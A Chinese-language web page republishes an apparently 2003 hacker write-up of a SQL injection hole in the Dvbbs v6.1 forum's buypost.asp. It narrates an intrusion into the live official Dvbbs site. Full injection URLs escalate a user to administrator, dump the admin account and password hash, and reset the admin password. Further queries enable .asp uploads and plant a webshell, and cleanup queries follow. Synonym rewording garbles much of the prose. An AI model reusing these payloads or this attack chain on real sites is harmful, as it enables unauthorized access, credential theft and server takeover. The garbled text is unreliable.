大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 网络其他 -> 动网论坛有史以来最大的安全漏洞

动网论坛有史以来最大的安全漏洞

时间: 2021-07-31 作者:daque

动网论坛有史以来最大的安全漏洞缺点根源:dvbbs v6.1 for sql版. 创造缺点日子:2003-9-18 缺点创造者:臭要饭的,卖身葬爱人. 介入尝试缺点:臭要饭的,卖身葬爱人,今世. 尝试目的: 动网官方网站-http://bbs.dvbbs.net/ 注:这个缺点不须要你去破什么md5码!太烦了! 一、媒介空话: 迩来搞sql injection 搞成瘾了,开拓了两个有运用sql injection侵犯的东西. 此刻就把昨天创造这个缺点,并运用这个缺点侵犯的十足过程写一写.让大师有所领会.然而万万不要去妨害哦! 二、缺点的创造进程: 昨天黄昏没有什么事,到了dvbbs看了一下。载入了一个最新的dbss v6.1 本子 看看迩来动网革新了些什么东东.找缺点,这个我爱好,i like! 本领很大略.把解压后的dvbbs所有目委派来探求,探求包括实质: from "&request //注win2k扶助如许探求文献. //******************************************************************************************* from "&request 就找这个实质.(不要报告我你不会找,选中目次,点右键搜索包括实质:from "&request ) 干什么要找这个呢? 大师都领会sql对表的操纵是这么样的如: sqlstr="select * from tablename" //城市有from tablename。 即使asp中写成如许 sqlstr="select * from "&tablename&" where......" 这边即是径直援用了提交的表名.并没有过滤这个参数,一点也没有过滤. 这个然而太恐怖的了。传闻中的动网有史此后最大的缺点毕竟被创造了! //******************************************************************************************* 三、缺点道理领会 赶快出来截止了。探求的文献列表展示了: admin_postdata.asp buypost.asp 领会了一下,第一个是处置员要用到的asp,即使你不是前台处置员基础用不了第一个文献.以是就停止了. 来看看第二个文献buypost.asp. 这个文献是做什么用的呢?没用过,我也不领会。以是就翻开源代码看看吧. ........ <% if request("action")="view" then dvbbs.stats="察看购置贴子的用户" else dvbbs.stats="购置帖子" end if dvbbs.myaction=dvbbs.stats if dvbbs.boardid=0 then dvbbs.adderrmsg "缺点的版面参数!请确认您是从灵验的贯穿加入。" end if if request("id")="" then dvbbs.adderrmsg "请指定关系贴子(id)。" elseif not dvbbs.isinteger(request("id")) then dvbbs.adderrmsg "不法的贴子参数。" else rootid=request("id") end if if request("replyid")="" then dvbbs.adderrmsg "请指定关系贴子(replyid)。" elseif not dvbbs.isinteger(request("replyid")) then dvbbs.adderrmsg "不法的贴子参数。" else announceid=request("replyid") end if if not dvbbs.founduser then dvbbs.adderrmsg "请登录保守行操纵。" end if if dvbbs.founderr then dvbbs.nav() chkallerr() end if if not foundtable then dvbbs.adderrmsg "不法的参数。" dvbbs.nav() chkallerr() end if if request("action")="view" then call view() //******这边挪用缺点代码. else call main() end if if dvbbs.founderr then dvbbs.nav() chkallerr() end if dvbbs.activeonline() response.write "</body></html>" closedatabase ..............略掉少许代码. sub view() dvbbs.isshowtop=0 dim postbuyuser sql="select postbuyuser from "&request("posttable")&" where announceid="&announceid ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //这条即是缺点语句. set rs=conn.execute(sql) postbuyuser=trim(rs(0)) dvbbs.nav() response.write "<table cellpadding=3 cellspacing=1 align=center class=tableborder1>" response.write "<tbody><tr>" response.write "<th height=24 colspan=1>察看购置贴子的用户</th>" response.write "</tr>" response.write "<tr><td class=tablebody2>" if (not isnull(postbuyuser)) or postbuyuser<>"" then postbuyuser=replace(postbuyuser,"│","<li>") response.write "<li>"&postbuyuser else response.write "<br><li>还未有人购置!" end if response.write "</td></tr>" response.write "</table>" set rs=nothing end sub %> 看了一下这是对于一个购置贴子的缺点.好了,咱们备案一个用户进去找找动网何处有这个功效! 用户名:yafande 暗号:123321 查一下本人的id。哦是:25687 和卖身找了很久很久都没有找到这个功效,不领会在什么场合. 此刻就惟有本人结构url了。 看了源代码,提交的参数有: boardid,id,replyid,action, posttable 辨别是:版面id,rootid,机动编号的id(随意取一个吧,堕落就换一个大于1的平头),一个参数,表名 此刻要害就的即是这个表名是什么,结果找到适合前提是的:bbs1 再来看action 当action=view的功夫再挪用view()这个有缺点的进程。 翻开一个版面,找到一个贴子,获得版面号和rootid辨别为:boardid=103,id=327926 //即使不找到精确的版面id和贴子id。一提交就要堕落! 以是咱们提交的url即是: http://bbs.dvbbs.net/buypost.asp?boardid=103&id=327926&replyid=1&action=view&posttable=bbs1 提交后在sql中展现的语句如次: 看缺点代码. sql="select postbuyuser from "&request("posttable")&" where announceid="&announceid 提交获得的sql即是: sql="select postbuyuser from bbs1 where announceid=1 " ~~~~ ~~ 即使咱们提交: http://bbs.dvbbs.net/buypost.asp?boardid=103&id=327926&replyid=1&action=view&posttable=bbs1;update [user] set usergroupid=1 where userid=25687;-- 获得的sql语句即是: sql="select postbuyuser from bbs1;update [user] set usergroupid=1 where userid=25687;--where announceid=1" 固然--反面的货色被证明掉了。也即是不起效率了。简化一下. sql="select postbuyuser from bbs1;update [user] set usergroupid=1 where userid=25687;" 提交这条语句即是把userid=25687这个用户(即是我方才备案的yafande账号),加为前台处置员. 四、详解侵犯进程 动工,提交吧! ie 表露了还未有人购置!嗯。 没有表露任何缺点.大都胜利了! 从新登岸一次,看到了本人有处置的功效了。嘿嘿. 此刻咱们就增添一个处置员吧.由于即使改处置员暗号不好。一旦创造就over了。 一律的提交. http://.....&posttable=bbs1;insert into [admin] (username,password) values (yf,ff8aaa8a2dde9154);-- 我简略点前方的少许代码,如许看上去简单! 如许咱们就会在admin表中加一个用户名为yf暗号是123321的账号。//***123321的md5码为:ff8aaa8a2dde9154 看看进处置行不行? 五、领会动网后盾处置 晕。。波折!一支烟后。。。。(固然咱们也试过了从新加账号都不行) 看admin_index.asp源代码是如何写的。 代码如次: sub chklogin() username=trim(replace(request("username"),"","")) password=md5(trim(replace(request("password"),"","")),16) if request("verifycode")="" then dvbbs.adderrmsg "请归来输出确认码。<b>归来后请革新登录页面后从新输出精确的消息。</b>" elseif session("verifycode")="" then dvbbs.adderrmsg "请不要反复提交,如需从新登录请归来登录页面。<b>归来后请革新登录页面后从新输出精确的消息。</b>" elseif session("verifycode")<>trim(request("verifycode")) then dvbbs.adderrmsg "您输出简直认码和体例爆发的不普遍,请从新输出。<b>归来后请革新登录页面后从新输出精确的消息。</b>" end if session("verifycode")="" if username="" or password="" then dvbbs.adderrmsg "请输出您的用户名或暗号。<b>归来后请革新登录页面后从新输出精确的消息。</b>" end if if dvbbs.founderr then exit sub ip=request.servervariables("remote_addr") set rs=conn.execute("select * from "&admintable&" where username="&username&" and adduser="&dvbbs.membername&"") if rs.eof and rs.bof then rs.close set rs=nothing dvbbs.adderrmsg "您输出的用户名和暗号不精确大概您不是体例处置员。请<a href=admin_login.asp>从新输出</a>您的暗号。<b>归来后请革新登录页面后从新输出精确的消息。</b>" exit sub else if trim(rs("password"))<>password then dvbbs.adderrmsg "您输出的用户名和暗号不精确大概您不是体例处置员。请<a href=admin_login.asp>从新输出</a>您的暗号。<b>归来后请革新登录页面后从新输出精确的消息。</b>" exit sub else session("flag")=rs("flag") session.timeout=45 conn.execute("update "&admintable&" set lastlogin="&sqlnowstring&",lastloginip="&ip&" where username="&username&"") rs.close set rs=nothing response.write "<script>location.href=admin_index.asp</script>" end if end if end sub 这是一个检验和测定登岸的进程。看代码,开始检验和测定有没有效户和减少这个用户的人的称呼是否生存.(adduser字段生存的) //***这个adduser是用来生存这个处置员是由谁增添进去的。 再检验和测定暗号对不对. 咱们方才增添一个用户的功夫基础没有对adduser字段加货色.以是就进不去。 如何办?咱们不领会后盾处置员的账号名啊?我晕! 然而方法是有的。看典范的.来来来! 先找到后盾处置员的最小id的谁人账号. http://.....&posttable=bbs1 where 1=(select min(id) from [admin] );-- 提交后,获得的sql语句即是: sql="select postbuyuser from bbs1 where 1=(select min(id) from [admin] );--where......" 不精确。最小id不是1. ..5<(select min(id) from [admin]);-- 精确.最小id大于5 ..15>(select min(id) from [admin]);-- 精确.最小id小于15 ..10=(select min(id) from [admin]);-- 精确.最小id猜出来了是10 好了,更典范的东东出来了. http://.....&posttable=bbs1;update [admin] set adduser=(select adduser from [admin] where id=10) where username=yf;-- 这段代码即是把处置员id=10的adduser的值,填到yf这个账号中去。方才仍旧加了账号了嘛. 结果仍旧不可功?我倒,是如何回事!!!晕了晕了晕了!!! 我想了很久,动网她们本人用的是否md5加密的哦。再有是否md5 16位加密的呢?即使是32位的如何办? 尝试一下吧! http://.....&posttable=bbs1 where 10=(select min(id) from [admin] where len(password)=16);-- 提醒精确,是16位加密的.我晕。如何回事。 此刻咱们就惟有把他表中一切的数据表露出来看看啊. 此刻我就径直把他的数据,表露到我的部分消息中去(部分消息中的网页地方)。 来吧!!come on!!! http://.....&posttable=bbs1;update [user] set homepage=(select username from [admin] where id=10) where userid=25687;-- 如许就把后盾处置员的id为10的账号搞出来了. 察看本人的部分消息的部分网页何处就表露出了他的账号. 账号为:****** 这边屏掉账号. 不简单表露出来,抱歉:)! 再来, http://.....&posttable=bbs1;update [user] set homepage=(select password from [admin] where id=10) where userid=25687;-- 表露暗号为:af6ffd23be8fee40 http://.....&posttable=bbs1;update [user] set homepage=(select adduser from [admin] where id=10) where userid=25687;-- 表露增添报酬:******** 这边也不要说了,不简单! 我还表露出他上回上线的功夫,以及上回登岸的ip。以简单咱们越发领会这个账号. 结果咱们也就惟有窜改一个处置员的账号了。哎,没法,就搞这个处置员吧。他一周没有上去了. http://.....&posttable=bbs1;update [admin] set password=ff8aaa8a2dde9154 where id=10;-- 如许咱们就把暗号给他改成123321了. 结果仍旧不可功.我晕了。那可见,他是否作了ip控制的呢?头都大了。又一支烟完后..... 六、越位植跷跷板入动网 想到了,上传asp跷跷板,如何上传?进不了后盾如何上传。不进后盾也一律不妨上传的啊。 他的上传文献的控制是搞到库中去的。咱们径直提交sql语句改库就不妨上传文献了。 好的。那发端吧!! go! 咱们翻开咱们载入的默许数据库。看一下board中board_setting字段的实质,就取第一条的实质吧! 如次: 0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 咱们来改改吧! 0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 ok,再给他加进去. http://.....&posttable=bbs1;update [board] set board_setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 where boardid=103;-- 如许版面id为103的就不妨上传asp文献了. 好了变动胜利。 此刻咱们加入方才加的谁人版面去公布贴子上传一个asp跷跷板。嘿嘿!!! 好了也不妨上传了。胜利了!!! 翻开ie输出: http://bbs.dvbbs.net/uploadfile/200391819281385768.asp ok。底下的事我就不必说了吧。[固然,咱们也径直改了一下他的界面,以提醒叫他提防安定]. 这是贯穿sql数据库的。你不妨察看他的贯穿账号是否sa账号贯穿的.即使是的话。还不妨加上体例账号。 七、回复 嘿嘿!! 此刻的事即是废除少许东东。 http://.....&posttable=bbs1;update [admin] set password=af6ffd23be8fee40 where id=10;-- 恢复id为10处置员的暗号。 http://.....&posttable=bbs1;delete from [admin] where username=yf;-- 删掉刚加的一个yf账号。 http://.....&posttable=bbs1;update [board] set board_setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 where boardid=103;-- 去掉不妨上传asp文献的树立。 http://.....&posttable=bbs1;delete from [user] where userid=25687;-- 简略咱们前台加的处置员. 八、后语 闪人了..... //中断语:这大概即是传闻中的动网最大的缺点。不妨破坏数据库中的十足东东。 即使用sa账号贯穿的数据库,不妨加上体例账号. 请大师不要运用本缺点报复其余bbs。我这不过做了一个尝试,并没有去妨害动网的数据库中的数据. 固然咱们没有妨害数据。但仍旧向动网理想职员抱歉!蓄意此后不会现展示缺点了:) 编写职员:臭要饭的 介入编写:dahua lee、卖身葬爱人 编写日子:2003-9-19日

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.